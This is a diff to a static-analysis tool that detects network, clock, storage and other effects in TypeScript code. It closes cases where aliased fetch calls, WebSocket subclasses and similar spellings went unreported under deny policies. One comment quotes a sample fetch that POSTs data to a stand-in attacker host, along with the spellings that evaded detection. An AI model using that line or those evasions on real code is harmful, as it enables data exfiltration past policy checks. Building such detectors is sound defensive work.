+            rec.why.add(`native:Storage.${name}`);
+          }
           // `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
           // `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
           // branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
           // so the constructed identifier is the real browser global.
+          // R130 — …AND THROUGH `extends`, which is a third spelling neither of the two above can see.
+          // `super(url)` is a CallExpression, so the `isNewExpression` gate below is false; its resolved
+          // declaration is the BASE's construct signature, whose `.name` and whose parent type literal's
+          // name are both empty, so the `parent`/`name` branches above see `""` too. FOUND ON REAL CODE
+          // by re-scanning a corpus under a node-style tsconfig — crossws `src/websocket/bun.ts`:
+          //     const _WebSocket = globalThis.WebSocket;
+          //     class BunWebSocket extends _WebSocket {
+          //       constructor(url, protocols, options) { super(url, protocols); … } }
+          // which dials `url`, and whose constructor candor reported with NO effect at all. The class name
+          // comes from the DECLARATION (`declaredCtorClassName`), never from the `extends` expression:
+          // that expression is an alias here, and reaching this arm already proves the base resolved to
+          // lib.dom rather than to a project class of the same name.
+          if (isSuperCall(node) && CONNECTING_WEB_CTORS.test(declaredCtorClassName(decl))) {
+            rec.direct.add("Net");
+            const u = (node.arguments ?? [])[0];
+            const lit = u && ts.isStringLiteralLike(u)
+              ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
+            const h = lit ? hostLiteral(lit) : null;
+            if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
+            else rec.incomplete.add("Net");
+          }
           if (ts.isNewExpression(node)) {
             // …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
             // Same defect as the call path, one node type over — hence the SHARED unwrap.
             const unCtor = unaliasGlobal(node.expression);
-            const ctorName = unCtor.node.getText();
+            const ctorSiteName = unCtor.node.getText();
             if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
-            if (ctorName === "EventSource" || ctorName === "WebSocket") {
+            // R136 — …AND THROUGH A SUBCLASS, which neither the call-site name nor the alias unwrap can
+            // see. `class Y3 extends WebSocket {}` declares no constructor, so `new Y3(u)` resolves to
+            // the BASE's construct signature and the identifier at the call site is "Y3" — no rule
+            // matches and a construction that opens a real socket reported NOTHING: absent from
+            // `functions[]`, no `invisible`, no `Unknown`, and `deny Net` went exit 1 -> exit 0. This is
+            // R130's own `declaredCtorClassName` walk, which landed on the κ arm's `ctorRuleName` and on
+            // the `super(…)` branch six lines up but NOT here, so the fix was invisible to any test that
+            // exercised the lib.dom path: under `types: ["node"]` the identical source read `['Net']`.
+            // Same discipline as `ctorRuleName`: consulted ONLY when the call-site name is not already a
+            // connecting ctor, and its answer used ONLY when it IS one — so it can add a name to the
+            // connecting set and can never take one away. `class Y1 extends Headers {}` (declared name
+            // "Headers", no rule) stays absent, measured. Ground truth EXECUTED on node 22.12.0: the
+            // implicit-constructor subclass fires one real upgrade handshake against an
+            // `http.createServer` listener, and so does a two-level `class ZZ extends Y3 {}`.
+            const ctorName = CONNECTING_WEB_CTORS.test(ctorSiteName)
+              ? ctorSiteName
+              : (CONNECTING_WEB_CTORS.test(declaredCtorClassName(decl))
+                 ? declaredCtorClassName(decl) : ctorSiteName);
+            // R130 — the SHARED constant, not a literal pair repeated here. The identical two names are
+            // now κ rules for `undici-types` (the package `@types/node` re-exports these globals from),
+            // and this arm and that table answering the same question from two hand-kept lists is the
+            // single degree of freedom that produced R109, R110 and R111. Measurements at the constant.
+            if (CONNECTING_WEB_CTORS.test(ctorName)) {
               rec.direct.add("Net");
               // The URL is argument 0 of both constructors — see the XHR note above for the measurement.
               const u = (node.arguments ?? [])[0];
@@ -5539,6 +7133,11 @@ function visitCalls(node) {
           // needs no entry here. Inert ctors (Agent/Server/Socket/TLSSocket/Http2Server*/message shells)
           // still synthesize "new" and stay pure.
           const CONNECTING_CTORS = new Set(["ClientRequest"]);
+          // R130 — `new WebSocket(url)` / `new EventSource(url)` are the same shape as `ClientRequest`:
+          // the connection is opened BY the construction, so the blanket `new`-exemption would convert a
+          // real Net source into pure. Read from the SHARED constant the es-lib arm reads, so the two
+          // resolution paths cannot be widened separately.
+          const isConnectingCtor = (n) => CONNECTING_CTORS.has(n) || CONNECTING_WEB_CTORS.test(n);
           // Host-ESTABLISHING Net call names (the masking-fix allowlist): a Net call by one of these whose
           // host is not a captured literal leaves the host invisible. Excludes use-verbs (write/end/send on
           // a connected socket). `post/put/patch/delete/head/options` cover the axios/got/undici tier whose
@@ -5569,8 +7168,10 @@ function visitCalls(node) {
             "fchmodSync", "fchown", "fchownSync", "futimes", "futimesSync", "fstat", "fstatSync",
             "readv", "readvSync", "writev", "writevSync"]);
           const EXEC_USE_VERBS = new Set(["kill", "send", "disconnect", "ref", "unref"]);
+          // `ctorRuleName` (below) rather than `ctorClassName`: a connecting ctor reached through a local
+          // alias must still fail the surface closed on a runtime URL. Evaluated at call time, after it.
           const netEstablishing = (member) =>
-            CONNECTING_CTORS.has(ctorClassName) || NET_ESTABLISHING.has(member)
+            isConnectingCtor(ctorRuleName) || NET_ESTABLISHING.has(member)
             || (/^(node:)?dgram$/.test(mod) && member === "send");
           // ⟨0.32⟩ THE CLASS BEING CONSTRUCTED, TAKEN FROM THE `new` EXPRESSION rather than from the
           // resolved constructor. A class that declares no constructor of its own INHERITS one, and
@@ -5614,8 +7215,31 @@ function visitCalls(node) {
                 && p.name && ts.isIdentifier(p.name)) return p.name.getText();
             return "";
           };
-          const member = isConstruction
-            ? (CONNECTING_CTORS.has(ctorClassName) ? ctorClassName : "new")
+          // R130 — THE NAME A CONNECTING CONSTRUCTION IS JUDGED BY, when the `new` expression's own
+          // identifier is a LOCAL ALIAS. `ctorClassName` is read from the call site (⟨0.32⟩, for a good
+          // reason: an inherited constructor lives in the base's file), so `const W = WebSocket; new W(u)`
+          // names the class "W" and no rule can match — the es-lib arm handles that spelling with
+          // `unaliasGlobal` and this arm had nothing. The authority for a construction's identity is the
+          // `export declare const X: { new (…): X }` binding the construct signature sits inside, so walk
+          // to it: ConstructSignature -> TypeLiteral -> VariableDeclaration. Consulted ONLY when the
+          // call-site name is not already a connecting ctor, and its answer is used only when it IS one —
+          // so it can add a name to the connecting set and can never take one away, and `new Headers()`
+          // (binding name "Headers", no rule) is unchanged. A `class`-declared ctor (`ClientRequest`) has
+          // a ClassDeclaration parent, not a TypeLiteral, and never reaches this.
+          //
+          // …AND THE SAME WALK ANSWERS THE `extends` SPELLING, which is neither a NewExpression nor a
+          // named member. `class BunWebSocket extends globalThis.WebSocket { constructor(u){super(u)} }`
+          // (crossws, real code) resolves `super(u)` to `undici-types`' construct signature: `member`
+          // came out `""`, no rule could match, and a constructor that DIALS A URL reported nothing.
+          // `isConstruction` is deliberately NOT widened to include super-calls — that would re-key every
+          // `super()` into an external base onto the token `new` and hand the whole-module κ rules and the
+          // node-core floor a call they have never been asked about. The name is used ONLY when it is a
+          // connecting ctor, so this can add nothing else.
+          const ctorRuleName = !(isConstruction || isSuperCall(node)) || isConnectingCtor(ctorClassName)
+            ? ctorClassName
+            : (isConnectingCtor(declaredCtorClassName(decl)) ? declaredCtorClassName(decl) : ctorClassName);
+          const member = isConnectingCtor(ctorRuleName) ? ctorRuleName
+            : isConstruction ? "new"
             : (decl.name ? decl.name.getText() : bindingName(decl));
           // ⟨0.32⟩ THE MODULE κ IS READ AGAINST — `mod` for everything except a construction whose
           // constructor came from somewhere else, which is re-keyed onto the CLASS's own module.
@@ -5647,6 +7271,23 @@ function visitCalls(node) {
           // node_modules-installed dependency of the same name is untouched: `isOwnPackageDecl` excludes
           // `node_modules/` outright, before the name is ever compared.
           let eff = isOwnPackageDecl(decl) ? null : kappa(kMod, member); // (CLASSIFY)
+          // R114 — AND WHEN κ WAS ASKED ABOUT THE EMPTY TOKEN, ASK AGAIN WITH THE NAME AT THE CALL SITE.
+          // A member declared as a CALL SIGNATURE on its own interface — `hrtime: HRTime`,
+          // `memoryUsage: MemoryUsageFn` in `process.d.ts` — resolves to a declaration with no `.name`,
+          // so `member` is `""`. Two comments in this family already say so ("`\"\"` is the token a CALL
+          // SIGNATURE on an interface resolves to"), and the floor lists `""` as reviewed-pure — which is
+          // how `import * as p from "node:process"; p.hrtime()` stayed SILENT while the identical global
+          // `process.hrtime()` charged Clock. Same one-line-two-answers shape as R109/R110, reached
+          // through the TOKEN rather than through the tsconfig.
+          //
+          // ONLY WHEN THE FIRST LOOKUP ANSWERED NOTHING, which makes this strictly ADDITIVE: it cannot
+          // move a call off an effect a rule already gave it, and in particular it cannot walk a
+          // net-cluster call into that module's exemption list — the direction that would hide something.
+          // `memoryUsage`, `resourceUsage`, `cpuUsage` and `require` resolve the same way and are
+          // unaffected: no κ rule names them, and the floor below is still asked with the original `""`.
+          if (!eff && member === "" && !isOwnPackageDecl(decl)
+              && ts.isPropertyAccessExpression(node.expression) && node.expression.name)
+            eff = kappa(kMod, node.expression.name.text);
           // process.stdout/stderr/stdin are typed `tty.WriteStream`, which EXTENDS `net.Socket`, so a
           // `.write()`/`.end()` on them resolves to `net.Socket.write` and the whole-module Net rule
           // paints it Net. But a console write to fd 0/1/2 is TTY/console I/O, NOT network — there is no
@@ -5870,10 +7511,20 @@ function visitCalls(node) {
             // already ran its own chained-dep lookup above (`inheritedFromDep`, with its constructor/
             // owner-prefix spelling), so it hands the tail an already-external, already-unmatched `decl`
             // rather than re-deriving the join.
-            disclosureTail(rec, decl, pkg, file);
+            disclosureTail(rec, decl, pkg, file, member);
           }
         }
       }
+      // ⟨R103⟩ …and the slot's own answer, JOINED to whatever the resolution above concluded — the same
+      // statement whether the initializer resolved to a local unit, to a dependency, or to a κ-classified
+      // package member. It does NOT fire when `decl` was null, and that is the guard above, not an
+      // oversight: an unresolvable call already lands on `Unknown` with its own `callback:` reason, so
+      // firing here would add nothing to the report while making the hit counter count rows that did not
+      // change — and a hit count that is not a count of CHANGES cannot price the fix.
+      if (slotCallee) {
+        rec.direct.add("Unknown");
+        rec.why.add(`callback:${slotCallee}`); // a function VALUE read out of a writable slot — canonical `callback:`
+      }
       // the callee EXPRESSION being a plain identifier of function-typed parameter/field:
       // a PARAMETER defers to callback-flow resolution (below) — if every call site of this
       // function passes a NAMED local unit, the invocation resolves to those targets; otherwise
@@ -5930,6 +7581,54 @@ function visitCalls(node) {
       markEnv();
     }
   }
+  // R113 — WEB STORAGE, THE WHOLE INTERFACE, through the same six shapes the `process.env` block above
+  // enumerates. That block is the AUTHORITY for "a host object touched as a whole", not a template to
+  // paraphrase (§G): the question — which spellings reach a foreign key/value store — has one answer, and
+  // writing a second, shorter list is how the next spelling gets missed. The shapes are dot/bracket access
+  // (literal OR runtime key), destructuring, the `in` test, spread, a key-enumerating builtin, and for-in.
+  //
+  // `Unknown`, not `Fs`: the backing store is not modelled (a browser's is not a filesystem; node's
+  // `--localstorage-file` one is). That is R109's answer verbatim, and the point is that the two lib
+  // configurations converge on it. The reason names the interface actually resolved, so it gates as
+  // `Unknown[native]` exactly like the `setItem` call.
+  //
+  // THE WHOLE INTERFACE, NOT A VERB LIST — the denylist direction, R109's argument transferring verbatim.
+  // Reads persist across sessions and origins just as writes do, `length`/`key(i)` expose the stored key
+  // set, and an unlisted member would be silently pure. Over-charging a `Storage` receiver is a precision
+  // cost bounded to code that already touches web storage; under-charging one is the cardinal sin.
+  {
+    const markStore = (label) => {
+      const owner = enclosing(node);
+      if (!owner) return;
+      const r = fns.get(owner);
+      r.direct.add("Unknown");
+      r.why.add(`native:Storage.${label}`);
+    };
+    const memberLabel = (n) => (ts.isPropertyAccessExpression(n) ? (n.name?.getText?.() ?? "?")
+      : (n.argumentExpression && ts.isStringLiteralLike(n.argumentExpression)
+         ? n.argumentExpression.text : "[computed]"));
+    if ((ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node))
+        && isWebStorageExpr(node.expression)) {
+      markStore(memberLabel(node));
+    }
+    else if (ts.isVariableDeclaration(node) && node.name && ts.isObjectBindingPattern(node.name)
+             && node.initializer && isWebStorageExpr(node.initializer)) {
+      markStore("<destructure>");
+    }
+    else if (ts.isBinaryExpression(node) && node.operatorToken.kind === ts.SyntaxKind.InKeyword
+             && isWebStorageExpr(node.right)) {
+      markStore("<in>");
+    }
+    else if ((ts.isSpreadAssignment(node) || ts.isSpreadElement(node)) && isWebStorageExpr(node.expression)) {
+      markStore("<spread>");
+    }
+    else if (envTouchingBuiltinCall(node) && node.arguments.some((a) => isWebStorageExpr(a))) {
+      markStore("<enumerate>");
+    }
+    else if (ts.isForInStatement(node) && isWebStorageExpr(node.expression)) {
+      markStore("<for-in>");
+    }
+  }
   // Runtime GLOBALS reached as CALLS with no import for the κ resolver to classify: `process.hrtime()`/
   // `.hrtime.bigint()` is a monotonic clock read (Clock); `process.send(...)` is the child↔parent IPC
   // channel (Ipc); the global `fetch(...)` is the standard modern HTTP client (Net). Matched on the
@@ -5981,7 +7680,16 @@ function visitCalls(node) {
       return null;
     };
     const pmp = processMemberPath();
-    if (pmp === "hrtime" || pmp === "hrtime.bigint") geff = "Clock"; // a monotonic clock read
+    // R114 — THE MEMBER SET IS THE SHARED CONSTANT, read on the LAST segment of the path. This arm and
+    // the `(node:)?process` κ rule in scan-core.mjs are two implementations of one question, and before
+    // this they DISAGREED: this arm charged `process.hrtime.bigint()` Clock while the κ floor listed
+    // `hrtime`/`bigint` as reviewed-pure, so the global spelling answered `["Clock"]` and the imported
+    // spelling answered silent-pure — one line, two answers, selected by how you reach `process`.
+    // Importing the set is what makes their agreement mean something (R111's fix shape, applied to the
+    // pair that was actually inconsistent rather than to the one that happened to be noticed).
+    // The last segment is the token κ is asked about: `hrtime` -> "hrtime", `hrtime.bigint` -> "bigint",
+    // `uptime` -> "uptime". `send` is NOT in the set and keeps its own Ipc line below.
+    if (pmp && CLOCK_READING_PROCESS_MEMBERS.test(pmp.split(".").pop())) geff = "Clock"; // a monotonic clock read
     else if (pmp === "send") geff = "Ipc";                          // the child↔parent IPC channel
     else if (ts.isIdentifier(callee) && importedFromNetPkg(callee))
       geff = "Net"; // a bare call to an HTTP-client default/named import (installed → sig resolves here) — #13
@@ -6048,6 +7756,35 @@ function visitCalls(node) {
     // `eval` global-qualifier handling (a runtime global a project would not shadow).
     else if (ctext === "globalThis.fetch" || ctext === "window.fetch" || ctext === "self.fetch")
       geff = "Net";
+    // ⟨R95⟩ …AND EVERY OTHER SPELLING, BY ASKING THE RESOLVED DECLARATION INSTEAD OF THE CALLEE.
+    //
+    // Every arm above keys on the CALLEE's own identity — its node text, or its symbol's declaration
+    // file. That question has now been wrong in five spellings, all MEASURED silent at 0b360d4 and all
+    // five confirmed to reach the network by executing them against a localhost listener:
+    //
+    //     const { fetch } = globalThis;      fetch(u)      const { fetch: f } = globalThis;  f(u)
+    //     const g = globalThis;              g.fetch(u)    (0, fetch)(u)
+    //     const a = [fetch];                 a[0](u)
+    //
+    // Each one binds `fetch` to a declaration INSIDE a project file — a BindingElement, a
+    // VariableDeclaration — which is precisely what the shadow guard above reads as "the project's own
+    // fetch", so the guard withheld Net. `deny Net`, `deny Unknown`, `deny Net Unknown`, `pure`, and
+    // both scoped forms all answered exit 0, `policy ✓`, 0 effectful functions over
+    //     const { fetch } = globalThis;
+    //     await fetch("https://evil.example.com/collect", { method: "POST", body: data });
+    //
+    // `crypto` does NOT have this hole, and the difference is the MECHANISM, not the effect: its arms
+    // key on the RESOLVED DECLARATION (the es-lib `parent === "Crypto"` arm below, and κ's
+    // `web-globals/crypto` rule), so a destructured `crypto` still resolves to `Crypto.randomUUID` and
+    // is charged. Converge on that rather than patching the identity gate a sixth time — brief §G, ask
+    // the authority: the checker already knows which function this call reaches, and it answers the
+    // same for all five spellings above (verified: one declaration, `web-globals/fetch.d.ts:23`).
+    //
+    // ADDITIVE, and last in the chain on purpose. Every arm above keeps priority, so no call that is
+    // Net today can stop being Net and no host capture below changes for a call that already matched
+    // (the previous ts fix in this vein REPLACED a resolution where it should have unioned, and cost
+    // hono's `hc` its `Clock`). This arm can only ADD Net to calls that are reported PURE today.
+    else if (resolvedIsHostFetch(node)) geff = "Net";
     // An alias chain this helper stopped following is an UNRESOLVED callee, not a pure one.
     if (un.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
     if (geff) {
@@ -6153,11 +7890,114 @@ function visitCalls(node) {
     }
     // Object.assign(target, ...sources) copies each SOURCE's own enumerable props → invokes their
     // getters (the object-spread twin). Enumerate the sources' local getters.
-    if (callee.getText().replace(/\s+/g, "") === "Object.assign") {
+    //
+    // R116 — …AND THE TARGET'S SETTERS, which the copy invokes for every key it writes. See
+    // `enumerateTargetSetters`: the source arm and the target arm are the two halves of one operation
+    // and only one of them existed.
+    // THE `globalThis.` QUALIFIER (SOUNDNESS row id pending — filed by the coordinator) — the SAME
+    // text, recognised through the qualifier too. `globalBuiltinCallee`
+    // is the one authority for that question (`envTouchingBuiltinCall` reads it as well); a second
+    // private copy is how the next spelling gets missed.
+    const ct116 = globalBuiltinCallee(callee) ?? callee.getText().replace(/\s+/g, "");
+    if (ct116 === "Object.assign") {
       const owner = enclosing(node);
-      for (const src of (node.arguments ?? []).slice(1)) {
-        enumerateGetters(owner, checker.getTypeAtLocation(src));
+      const sources = (node.arguments ?? []).slice(1);
+      for (const src of sources) {
+        enumerateGetters(owner, checker.getTypeAtLocation(src), src);
       }
+      // SHADOW-GUARDED, like the `Reflect.set` arm below. The getter line above is NOT — it matches
+      // `Object.assign` by TEXT, so a project's own `const Object = { assign(){} }` reaches it. That is
+      // pre-existing and is REPORTED rather than silently widened here (it is a fabrication-direction
+      // question of its own), but the charge this fix ADDS does not inherit the hole.
+      if (globalBuiltinCallee(callee) === "Object.assign")
+        enumerateTargetAccessors(owner, (node.arguments ?? [])[0], provenCopiedKeys(sources), "set",
+                                 { why: "dynamic-keyset", keyType: null });   // R247 — copies string AND symbol keys
+    }
+    // SOUNDNESS R252 — THE OTHER BUILTINS THAT READ EVERY OWN ENUMERABLE **VALUE**, AND THE COMMENT
+    // THAT RULED THEM OUT ON THE WRONG HALF OF THE QUESTION.
+    //
+    // `Object.entries`/`Object.values`/`JSON.stringify`/`structuredClone` each read every own enumerable
+    // property's VALUE, so each invokes an own enumerable getter exactly as a spread or an
+    // `Object.assign` SOURCE does. They are the same operation as the line above; nothing routed them
+    // through it. Executed: caller ABSENT from `functions[]` in all four, `deny Fs` and `pure` scoped to
+    // the caller both exit 0 over a tree containing nothing but the literal and the call.
+    //
+    // WHY IT SURVIVED, and it is the constraint on the fix rather than trivia. R115's comment states
+    // "`JSON.stringify(c)` and `Object.entries(c)` STAYING PURE IS CORRECT … (executed: 0 invocations on
+    // a class instance)". That is TRUE — a class accessor is installed on the prototype and is
+    // non-enumerable, so these never visit it — and it is FALSE for an object LITERAL, whose getter is an
+    // OWN enumerable property. The sentence measured the case in front of it and then read as a general
+    // ruling. §K, in a comment written by the commit that needed it.
+    //
+    // SO THE CLASS-INSTANCE ANSWER MUST NOT MOVE — it is correct, and it is this fix's over-charge
+    // control. That is why this routes through `enumerateGetters` rather than growing a private loop:
+    // `classBodiedGetter` is exactly R115's exclusion, so the correct half is preserved BY CONSTRUCTION
+    // instead of by a second implementation that has to remember to agree (§G).
+    //
+    // GROUND TRUTH EXECUTED, node 22.12.0, counting real getter invocations — object LITERAL vs CLASS
+    // instance. The zeroes are as load-bearing as the ones: they are the rest of the sweep, and they are
+    // why this list is four names and not "every whole-object builtin".
+    //     Object.entries 1/0   Object.values 1/0   JSON.stringify 1/0   structuredClone 1/0
+    //     Object.keys 0/0      Object.getOwnPropertyNames 0/0      Object.getOwnPropertyDescriptors 0/0
+    //     Object.freeze 0/0    Object.seal 0/0     for..in 0/0     console.log 0/0   String(o) 0/0
+    //     `${o}` 0/0           util.inspect(o) 0/0                 assert.deepStrictEqual 0/0
+    // `Object.keys` and `getOwnPropertyNames` read NAMES, never values; a descriptor read returns the
+    // accessor function itself without calling it; `console.log`/`util.inspect` print `[Getter]`.
+    // (`Object.assign` and spread are the line above; `{...o}`/rest are the object-literal arm.)
+    //
+    // RESIDUALS, stated as the open list they are: `console.log("%j", o)` and
+    // `util.inspect(o, {getters: true})` DO invoke (executed 1) and are option/format-string dependent;
+    // and every one of these reads NESTED objects too — `JSON.stringify({ a: lit })` and
+    // `structuredClone([lit])` invoke the getter one level down (executed 1), which no arm here reaches
+    // because `enumerateGetters` asks the ARGUMENT's own property list.
+    // R281 — `structuredClone` asks `globalBareCallee`, the SAME authority the Env arm asks, so the two
+    // consumers of `ENV_TOUCHING_GLOBAL` cannot drift the way they just did. The identifier-only test
+    // this replaces was copied here by R252 from the Env arm six commits after `f58dc0f` had fixed the
+    // identical hole one table over.
+    if (["Object.entries", "Object.values", "JSON.stringify"].includes(globalBuiltinCallee(callee))
+        || globalBareCallee(callee) === "structuredClone") {
+      const arg = (node.arguments ?? [])[0];
+      if (arg) enumerateGetters(enclosing(node), checker.getTypeAtLocation(arg), arg);
+    }
+    // R116 §9 — WIDENED PAST THE ROW'S OWN TRIGGER, by grepping the MECHANISM ("a builtin that writes a
+    // property into a caller-supplied target") rather than the one call the row named. `Reflect.set(t, k,
+    // v)` is specified to run the setter the property lookup finds, and it was silent for the same reason
+    // — EXECUTED, 1 setter invocation for both the literal-key and the runtime-key spelling, and both
+    // ABSENT from `functions[]` before this. A literal key names exactly one property; a runtime key can
+    // name any, so it falls to the unprovable branch and charges every setter the target declares.
+    // (`Object.defineProperty`/`defineProperties` are deliberately NOT here: a descriptor INSTALLS a
+    // property and bypasses the setter — executed, 0 invocations — and the engine already indexes those
+    // through `definePropAccessors`. `Object.create`/`structuredClone`/spread all build fresh objects.)
+    //
+    // SHADOW-GUARDED with `identIsGlobal`, which the `Object.assign` line above still is not — a
+    // project's own `const Object = …` would match its text test. Left as it is rather than widened
+    // silently: it is a separate (fabrication-direction) question, it is REPORTED rather than folded in
+    // here, and this new arm does not inherit the hole.
+    //
+    // SOUNDNESS R251 — `Reflect.get(t, k)` IS THE SAME ARM, AND IT DID NOT EXIST. Found the way R116's
+    // own `Reflect.set` sibling was: by grepping the MECHANISM rather than the name. The two are one
+    // table entry apart in `ENV_TOUCHING_BUILTIN` above, and only one of them had an accessor arm.
+    // EXECUTED: 1 getter invocation for the literal-key spelling AND for the runtime-key one, on an
+    // object literal AND on a class instance; the caller was ABSENT from `functions[]` in all four.
+    //
+    // ONE key-set expression for both directions, deliberately, because two spellings of one question
+    // is what R247 was filed to close and a second copy here would reopen it (§G / F1-3). Today it is a
+    // string-literal test: a literal key names exactly one property, anything else falls to the
+    // unprovable branch and DISCLOSES. It is knowingly weaker than `accessorsAt`, which pins a key
+    // whose TYPE names a finite set (R240(a): `const k = "token"`, a literal union, a string enum) — so
+    // `s[k] = v` resolves a pinned key while `Reflect.set(s, k, v)` discloses `Unknown` for it. That
+    // residual fails in the DISCLOSE direction, not the silent one, so it is a precision gap and is
+    // REPORTED as its own row rather than folded into this fix's pricing.
+    const reflectKeySet = (k) => (k && ts.isStringLiteralLike(k) ? new Set([k.text]) : null);
+    for (const [name, kind] of [["Reflect.set", "set"], ["Reflect.get", "get"]]) {
+      if (globalBuiltinCallee(callee) !== name) continue;
+      const k = (node.arguments ?? [])[1];
+      // R247 — an unprovable key here answers with R240(b)'s OWN tag, because `Reflect.set(t, k, v)` and
+      // `t[k] = v` are one operation: one runtime key, at most one setter (executed above). R251 —
+      // `Reflect.get(t, k)` and `t[k]` are that same one operation on the read side, so it takes the
+      // same tag; a `deny Unknown[reflect]` written for one already selects the other.
+      enumerateTargetAccessors(enclosing(node), (node.arguments ?? [])[0], reflectKeySet(k), kind,
+                               { why: "dynamic-key", keyType: k ? checker.getTypeAtLocation(k) : null });
     }
   }
   // GET/SET ACCESSOR access (the silent-pure-accessor fix): a property read that resolves to a
@@ -6177,25 +8017,33 @@ function visitCalls(node) {
     const compoundAssign = isBinAssign && !simpleAssign
       && p.operatorToken.kind >= ts.SyntaxKind.FirstAssignment && p.operatorToken.kind <= ts.SyntaxKind.LastAssignment;
     const recordKind = (kind) => {
-      const hit = accessorAt(node, kind);
-      if (hit) {
+      const hits = accessorsAt(node, kind);
+      if (hits && hits.length) {
         const owner = enclosing(node);
         if (!owner) return;
-        const an = hit.decl.parent?.name?.getText?.() ?? "?";
         const pn = node.name?.getText?.() ?? node.argumentExpression?.getText?.() ?? "?";
-        recordAccessorHit(owner, hit, `${an}.${pn}`);
+        // R284 — `?` is not an owner. A type-alias-declared accessor's parent is a TypeLiteral with no
+        // name; the alias that declares it does have one. BARE here, matching this label's existing
+        // spelling (`reflect:` detail is best-effort per §4, and requalifying it would move strings
+        // nothing asked to move) — the fallback only fires where the old code printed `?`.
+        for (const hit of hits) {
+          const aOwner = hit.decl.parent?.name?.getText?.() ?? namedTypeAncestor(hit.decl)?.name?.getText?.() ?? "?";
+          recordAccessorHit(owner, hit, `${aOwner}.${pn}`, node.expression);
+        }
         return;
       }
       // No type-level accessor — try the `Object.defineProperty` runtime-accessor index. The checker
       // types target.key as a data prop, so an effectful defineProperty getter/setter is invisible to
-      // accessorAt; consult definePropForceTarget so the forcing site edges to the descriptor unit
+      // accessorsAt; consult definePropForceTarget so the forcing site edges to the descriptor unit
       // (precise) instead of reading silent-pure (the cardinal sin). A descriptor we minted is always
       // local, so this is an EDGE; never Unknown for a resolved-and-seen descriptor.
-      const dpNode = definePropForceTarget(node, kind);
-      if (dpNode) {
+      const dpNodes = definePropForceTarget(node, kind);
+      if (dpNodes.length) {
         const owner = enclosing(node);
-        const t = owner && nodeName.get(dpNode);
-        if (t) fns.get(owner).edges.add(t);
+        if (owner) for (const dpNode of dpNodes) {
+          const t = nodeName.get(dpNode);
+          if (t) fns.get(owner).edges.add(t);
+        }
         return;
       }
       // A computed-key descriptor accessor on this receiver's target means `recv.<anything>` MIGHT
@@ -6211,6 +8059,61 @@ function visitCalls(node) {
         if (kinds && kinds.has(kind)) {
           const owner = enclosing(node);
           if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add(`reflect:defineProperty:dynamic-key`); } // dynamic-key descriptor install — metaprogramming, canonical `reflect:`
+          return;
+        }
+      }
+      // SOUNDNESS R240(b) — AN UNPINNABLE KEY ON A RECEIVER THAT DECLARES ACCESSORS.
+      // `hits === null` means the key names no finite property set (`k: string`), so R240(a)'s resolver
+      // had nothing to enumerate. Charging every declared accessor would be a guess about WHICH one runs;
+      // saying nothing certifies the caller pure, which is the cardinal sin. Disclose `Unknown` — the
+      // posture this same function already takes eleven lines up for a computed-key `defineProperty`
+      // descriptor, and the one §4 prescribes for an unresolvable target.
+      //
+      // GATED ON THE RECEIVER'S OWN DECLARATIONS, so it is not a blanket hedge on every `obj[k] = v`: a
+      // receiver type that declares NO accessor of this kind cannot invoke one, and stays ABSENT
+      // (executed: 0 real writes). Measured over 17 corpus entries — 5,535 unpinnable element accesses,
+      // of which 14 sit on a receiver declaring an accessor of the wanted kind.
+      if (hits === null) {
+        const rt = checker.getTypeAtLocation(node.expression);
+        // A SYMBOL-NAMED accessor (`get [Symbol.toStringTag]() {…}`) cannot be reached by a STRING key,
+        // and arming the disclosure on one is a fabrication, not a hedge. FOUND BY AUDITING THE CORPUS
+        // ROWS RATHER THAN THE COUNT: the first cut of this branch fired on all six flagged
+        // `AxiosHeaders` methods in axios 1.7.2 — every one because `AxiosHeaders` declares
+        // `get [Symbol.toStringTag]()`, which `self[key]` with `key: string` can never name. The
+        // exclusion is a DENYLIST of the PROVEN-unreachable: it fires only when EVERY declaration of
+        // the property has a computed name whose expression is symbol-TYPED, and it lifts entirely if
+        // the key's own type could hold a symbol (`PropertyKey`, `symbol`, `any`).
+        // BOTH DIRECTIONS, because the first cut had only one and the corpus caught it twice. A string
+        // key cannot name a symbol property, AND a symbol key cannot name a string one — the mirror was
+        // missing and produced the whole of this branch's measured price: mongoose 8's 18 rows traced to
+        // ONE direct source, `types/objectid.js:39` `ObjectId.prototype[objectIdSymbol] = true` with
+        // `objectIdSymbol: unique symbol`, armed by bson's STRING-named `get id()`. Same audit-boundary
+        // error one line over from the fix for it.
+        // R247 — the two-way symbol/string test now lives in `keyCouldNameAccessor`, ONE authority shared
+        // with `enumerateTargetSetters`'s `Reflect.set` arm. The behaviour here is unchanged (pinned by
+        // the four symbol rows below); what changed is that the other spelling now asks the same code.
+        const keyT = ts.isElementAccessExpression(node) && node.argumentExpression
+          ? checker.getTypeAtLocation(node.argumentExpression) : null;
+        for (const prop of (rt?.getProperties?.() ?? [])) {
+          if (!accessorsFromSym(prop, kind).length) continue;
+          if (!keyCouldNameAccessor(prop, keyT)) continue;
+          const owner = enclosing(node);
+          if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add(`reflect:accessor:dynamic-key`); } // runtime-chosen property name — metaprogramming, canonical `reflect:`
+          return;
+        }
+        // …and the same question for a `defineProperty` DESCRIPTOR: the descriptor was installed under a
+        // LITERAL key (so `definePropDynamicKey` above does not fire) but is being reached through an
+        // unpinnable one, which is the mirror of that case and was silent for the mirror reason.
+        if (definePropAccessors.size > 0) {
+          const r0 = checker.getSymbolAtLocation(node.expression);
+          const r1 = r0 && (r0.flags & ts.SymbolFlags.Alias)
+            ? (() => { try { return checker.getAliasedSymbol(r0); } catch { return r0; } })() : r0;
+          const byKey = (r1 && definePropAccessors.get(r1)) || (r0 && definePropAccessors.get(r0));
+          if (byKey) for (const e of byKey.values()) if (e?.[kind]) {
+            const owner = enclosing(node);
+            if (owner) { fns.get(owner).direct.add("Unknown"); fns.get(owner).why.add(`reflect:accessor:dynamic-key`); }
+            break;
+          }
         }
       }
     };
@@ -6229,14 +8132,15 @@ function visitCalls(node) {
     if (owner) {
